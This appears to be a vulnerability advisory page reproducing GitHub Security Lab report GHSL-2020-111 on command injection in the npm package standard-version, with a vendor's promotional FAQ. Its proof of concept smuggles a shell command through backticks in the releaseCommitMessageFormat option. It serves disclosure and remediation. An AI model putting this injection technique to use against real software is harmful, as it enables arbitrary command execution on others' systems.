Summary
Command Injection in standard-version
GitHub Security Lab (GHSL) Vulnerability Report: GHSL-2020-111
The GitHub Security Lab team has identified a potential security vulnerability in standard-version.
The standardVersion function has a command injection vulnerability. Clients of the standard-version library are unlikely to be aware of this, so they might unwittingly write code that contains a vulnerability.
Product
Standard Version
Tested Version
Commit 2f04ac8
Details
Issue 1: Command injection in standardVersion
The following proof-of-concept illustrates the vulnerability. First install Standard Version and create an empty git repo to run the PoC in:
npm install standard-version
git init
echo "foo" > foo.txt # the git repo has to be non-empty
git add foo.txt
git commit -am "initial commit"
Now create a file with the following contents:
var fs = require("fs");
// setting up a bit of environment
fs.writeFileSync("package.json", '{"name": "foo", "version": "1.0.0"}');
const standardVersion = require('standard-version')
standardVersion({
noVerify: true,
infile: 'foo.txt',
releaseCommitMessageFormat: "bla `touch exploit`"
})
and run it:
node test.js
Notice that a file named exploit has been created.
This vulnerability is similar to command injection vulnerabilities that have been found in other Javascript libraries. Here are some examples:
CVE-2020-7646,
CVE-2020-7614,
CVE-2020-7597,
CVE-2019-10778,
CVE-2019-10776,
CVE-2018-16462,
CVE-2018-16461,
CVE-2018-16460,
CVE-2018-13797,
CVE-2018-3786,
CVE-2018-3772,
CVE-2018-3746,
CVE-2017-16100,
CVE-2017-16042.
We have written a CodeQL query, which automatically detects this vulnerability. You can see the results of the query on the standard-version project here.
Credit
This issue was discovered and reported by GitHub Engineer @erik-krogh (Erik Krogh Kristensen).
Contact
You can contact the GHSL team at [email protected], please include GHSL-2020-111 in any communication regarding this issue.
Disclosure Policy
This report is subject to our coordinated disclosure policy.
Impact
This issue may lead to remote code execution if a client of the library calls the vulnerable method with untrusted input.
Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command. Typical impact: arbitrary command execution in the application's environment.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
We recommend not using an API that can interpret a string as a shell command. For example, use child_process.execFile instead of child_process.exec.
Frequently Asked Questions
- What is GHSA-7XCX-6WJH-7XP2? GHSA-7XCX-6WJH-7XP2 is a medium-severity command injection vulnerability in standard-version (npm), affecting versions < 8.0.1. It is fixed in 8.0.1. Untrusted input is inserted into a command that is later executed by the application, allowing the attacker to alter the intent of that command.
- Which versions of standard-version are affected by GHSA-7XCX-6WJH-7XP2? standard-version (npm) versions < 8.0.1 is affected.
- Is there a fix for GHSA-7XCX-6WJH-7XP2? Yes. GHSA-7XCX-6WJH-7XP2 is fixed in 8.0.1. Upgrade to this version or later.
- Is GHSA-7XCX-6WJH-7XP2 exploitable, and should I be worried? Whether GHSA-7XCX-6WJH-7XP2 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether GHSA-7XCX-6WJH-7XP2 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix GHSA-7XCX-6WJH-7XP2? Upgrade
standard-versionto 8.0.1 or later.